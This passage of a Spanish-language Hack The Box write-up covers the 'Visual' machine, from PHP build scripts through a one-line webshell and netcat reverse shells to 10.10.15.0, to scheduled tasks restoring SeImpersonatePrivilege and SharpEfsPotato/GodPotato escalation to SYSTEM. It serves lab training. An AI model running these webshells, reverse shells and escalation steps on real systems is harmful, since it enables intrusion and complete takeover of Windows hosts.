        echo "<p class=\"timeout\">[x] Your build has timed out. Please submit again.</p>";
    } else {
        // Build is still in progress
        echo "<p>[-] Your build is still being compiled. Please be patient.</p>";
        $refreshInterval = 5; // Refresh every 5 seconds
        header("refresh: $refreshInterval");
    }
} else {
    // Output file doesn't exist
    echo "<p>[-] Your build is still being compiled. Please be patient.</p>";
    $refreshInterval = 5; // Refresh every 5 seconds
    header("refresh: $refreshInterval");
}
?>
<a href="/index.php" class="return-btn">Return to homepage</a>

<script>
    // JavaScript code
    // Function to toggle the visibility of the code block
    function toggleCodeBlock() {
        var codeBlock = document.getElementById("codeBlock");
        codeBlock.style.display = codeBlock.style.display === "none" ? "block" : "none";
    }
</script>
</body>
</html>

submit.php crea un nuevo directorio y hace una copia de vs_status e index.php, esto para el estado de la compilacion, ademas el archivo todo.txt segun parece sirve de referencia de que repositorios compilar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $gitRepoLink = $_POST['gitRepoLink'];

    // Sanitize URL
    $gitRepoLink = filter_var($gitRepoLink, FILTER_SANITIZE_URL);

    // Validate URL
    if (!filter_var($gitRepoLink, FILTER_VALIDATE_URL)) {
        echo '<script>alert("Invalid URL"); window.location = "/index.php";</script>';
        exit();
    }

    // Check scheme
    $parsed_url = parse_url($gitRepoLink);
    if ($parsed_url === false || !in_array($parsed_url['scheme'], ['http', 'https'])) {
        echo '<script>alert("Unsupported URL scheme"); window.location = "/index.php";</script>';
        exit();
    }

    $randV = bin2hex(random_bytes(15)); // Generate a random variable.

    $uploadPath = 'C:\\xampp\\htdocs\\uploads\\';
    $todoFilePath = $uploadPath . 'todo.txt';
    $newDirPath = $uploadPath . $randV;

    // Write to file
    $fileContent = "Git Repo Link: $gitRepoLink, Random Variable: $randV\n";
    file_put_contents($todoFilePath, $fileContent, FILE_APPEND | LOCK_EX);

    // Create a new directory
    if (!is_dir($newDirPath)) {
        mkdir($newDirPath, true);
    }

    // Copying vs_status.php to the directory, which displays compile status
    $sourceFile = 'C:\\xampp\\htdocs\\vs_status.php';
    $destinationFile = $newDirPath.'\\index.php';

    if (copy($sourceFile, $destinationFile)) {
        echo '[+] File copied successfully.';
    } else {
        echo '[-] Unable to copy the file.';
    }

    // Redirect to the new directory
    header('Location: /uploads/' . $randV);
}

?>

Local Service

Descargamos una pequena webshell en la carpeta del sitio.

1
2
3
4
5
6
7
8
9
PS C:\xampp\htdocs> certutil -urlcache -split -f http://10.10.15.0/file.php file.php
****  Online  ****
  0000  ...
  001e
CertUtil: -URLCache command completed successfully.
PS C:\xampp\htdocs> cat file.php
<?php
echo(system($_GET[0]));
PS C:\xampp\htdocs>

Tras ejecutar un whoami vemos que el servicio httpd esta corriendo como local service.

1
2
3
4
 π ~/htb/www ❯ curl -s "http://10.10.11.234/file.php?0=whoami"
nt authority\local service
nt authority\local service
 π ~/htb/www ❯

Observamos que tiene algunos privilegios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/www ❯ curl -s "http://10.10.11.234/file.php?0=whoami%20/priv"

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
 π ~/htb/www ❯ 

Privileges Back

Un post de itm4n - Give Me Back My Privileges! Please?, explica un caso en el que el usuario NT AUTHORITY\LOCAL SERVICE no tiene el privilegio SeImpersonatePrivilege algo que seria “normal” en este usuario y, se muestra como obtener devuelta este y otros privilegios creando un task (SeImpersonatePrivilege es un privilegio que nos permitiria escalar privilegios).

Para poder obtener este privilegio necesitamos ejecutar la task, para ello ejecutamos una shell inversa utilizando netcat, el cual descargamos en la maquina. Esta shell ahora es local service.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# http://10.10.11.234/uploads/file.php?0=C:/Users/Public/Documents/nc.exe%20-e%20powershell%2010.10.15.0%201336
 π ~/htb/visual ❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
10.10.11.234: inverse host lookup failed: Unknown host
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49744
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\xampp\htdocs>

#1 Task

La primera task permite obtener de vuelta los privilegios de este usuario, sin embargo no todos estan presentes, el que nos interesa es SeImpersonatePrivilege.

Task la cual ejecutaria una shell inversa.

1
2
3
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:/Users/Public/Documents/nc.exe -e powershell 10.10.15.0 1339`""
Register-ScheduledTask -Action $TaskAction -TaskName "task1"
Start-ScheduledTask -TaskName "task1"

Ejecucion de la task por el usuario local service.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PS C:\xampp\htdocs> $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:/Users/Public/Documents/nc.exe -e powershell 10.10.15.0 1339`""
Register-ScheduledTask -Action $TaskAction -TaskName "task1"
Start-ScheduledTask -TaskName "task1"
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:/Users/Public/Documents/nc.exe -e powershell 10.10.15.0 1339`""
PS C:\xampp\htdocs> Register-ScheduledTask -Action $TaskAction -TaskName "task1"

TaskPath                                       TaskName                          State     
--------                                       --------                          -----     
\                                              task1                             Ready     


PS C:\xampp\htdocs> Start-ScheduledTask -TaskName "task1"
PS C:\xampp\htdocs>

Obtenemos una shell con privilegios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 π ~/htb/visual ❯ rlwrap nc -nlvp 1339
listening on [any] 1339 ...
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49746
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State   
============================= =================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token       Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process  Disabled
SeTcbPrivilege                Act as part of the operating system Disabled
SeSystemtimePrivilege         Change the system time              Disabled
SeAuditPrivilege              Generate security audits            Disabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled 
SeCreateGlobalPrivilege       Create global objects               Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set      Disabled
SeTimeZonePrivilege           Change the time zone                Disabled
PS C:\Windows\system32>

#2 Task - SeImpersonatePrivilege

En la segunda task se explica que es posible especificar los privilegios, sin embargo, encontramos que uno de estos privilegios no es asignado y por lo tanto no ejecuta la task, en tal caso unicamente especificamos SeImpersonatePrivilege como el unico privilegio.

1
2
3
4
5
[System.String[]]$Privs =  "SeImpersonatePrivilege"
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\users\public\documents\nc.exe -e cmd.exe 10.10.15.0 1339`""
Register-ScheduledTask -Action $TaskAction -TaskName "seimpersonate" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "seimpersonate"

Tras ejecutar la task obtuvimos una shell con el privilegio SeImpersonatePrivilege.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/visual ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
10.10.11.234: inverse host lookup failed: Unknown host
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49717
Microsoft Windows [Version 10.0.17763.4840]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                               State  
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled

C:\Windows\system32>

SharpEfsPotato

Se puede aprovechar SeImpersonatePrivilege de distintos exploits tal y como se lista en SeImpersonatePrivilege (3.1.1), en este caso logramos ejecutar whoami con SharpEfsPotato.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\Public\Documents>sep.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content c:/file.log"
sep.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content c:/file.log"
SharpEfsPotato by @bugch3ck
  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/ec275b61-c7fd-4014-a16a-1acd5cb6b5a4/\ec275b61-c7fd-4014-a16a-1acd5cb6b5a4\ec275b61-c7fd-4014-a16a-1acd5cb6b5a4
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\Users\Public\Documents>more c:\file.log
more c:\file.log
nt authority\system

C:\Users\Public\Documents>

Shell

Nuevamente ejecutamos SharpEfsPotato esta vez con una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
C:\Users\Public\Documents>sep.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "cd C:\users\public\documents\ ; .\nc.exe -e powershell.exe 10.10.15.0 1339"                                                        
sep.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "cd C:\users\public\documents\ ; .\nc.exe -e powershell.exe 10.10.15.0 1339"
SharpEfsPotato by @bugch3ck
  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/12d3e921-85df-476f-8bf5-4a34db9a925f/\12d3e921-85df-476f-8bf5-4a34db9a925f\12d3e921-85df-476f-8bf5-4a34db9a925f
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\Users\Public\Documents>

Tras la ejecucion logramos el acceso con una shell system.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 π ~/htb/visual ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
10.10.11.234: inverse host lookup failed: Unknown host
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49744
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\users\public\documents> whoami
whoami
nt authority\system
PS C:\users\public\documents> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\users\public\documents>

Finalmente la lectura de nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
PS C:\users\public\documents> cd c:/users/administrator/desktop
cd c:/users/administrator/desktop
PS C:\users\administrator\desktop> dir
dir


    Directory: C:\users\administrator\desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---       10/26/2023  11:22 AM             34 root.txt                                                              


PS C:\users\administrator\desktop> cat root.txt
cat root.txt
26bd25320fc5f626a0b1cc6fde8486c8
PS C:\users\administrator\desktop>

Fail

FullPowers Fail

Intentamos ejecutar FullPowers el cual automatizaria la ejecucion de la task la cual nos daria los privilegios de vuelta, sin embargo no se ejecuta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
C:\Users\Public\Documents>dir
 Volume in drive C has no label.
 Volume Serial Number is 82EF-5600

 Directory of C:\Users\Public\Documents

10/26/2023  07:07 PM    <DIR>          .
10/26/2023  07:07 PM    <DIR>          ..
10/26/2023  07:07 PM           122,368 FullPowers.exe
10/26/2023  07:06 PM            59,392 nc.exe
               2 File(s)        181,760 bytes
               2 Dir(s)   9,539,039,232 bytes free

C:\Users\Public\Documents>FullPowers.exe 

C:\Users\Public\Documents>

GodPotato

GodPotato ejecutaba una shell inversa sin embargo la shell moria un segundo despues de realizar la conexion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\Users\Public\Documents> .\GodPotato.exe -cmd "cmd /c c:/users/public/documents/nc.exe -e powershell 10.10.15.0 1330"
.\GodPotato.exe -cmd "cmd /c c:/users/public/documents/nc.exe -e powershell 10.10.15.0 1330"
[*] CombaseModule: 0x140737250983936
[*] DispatchTable: 0x140737253290096
[*] UseProtseqFunction: 0x140737252666272
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\7f5271d4-7cb8-49aa-9b6e-f5b8ade744d7\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00008802-11bc-ffff-ee75-22dd2b72e2eb
[*] DCOM obj OXID: 0xc1d18eccad13a01b
[*] DCOM obj OID: 0xb5c70464dd4ef4f
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 860 Token:0x808  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2024
PS C:\Users\Public\Documents>
1
2
3
4
5
 π ~/htb/visual ❯ rlwrap nc -lvp 1330
listening on [any] 1330 ...
10.10.11.234: inverse host lookup failed: Unknown host
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49733
 π ~/htb/visual ❯ 
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe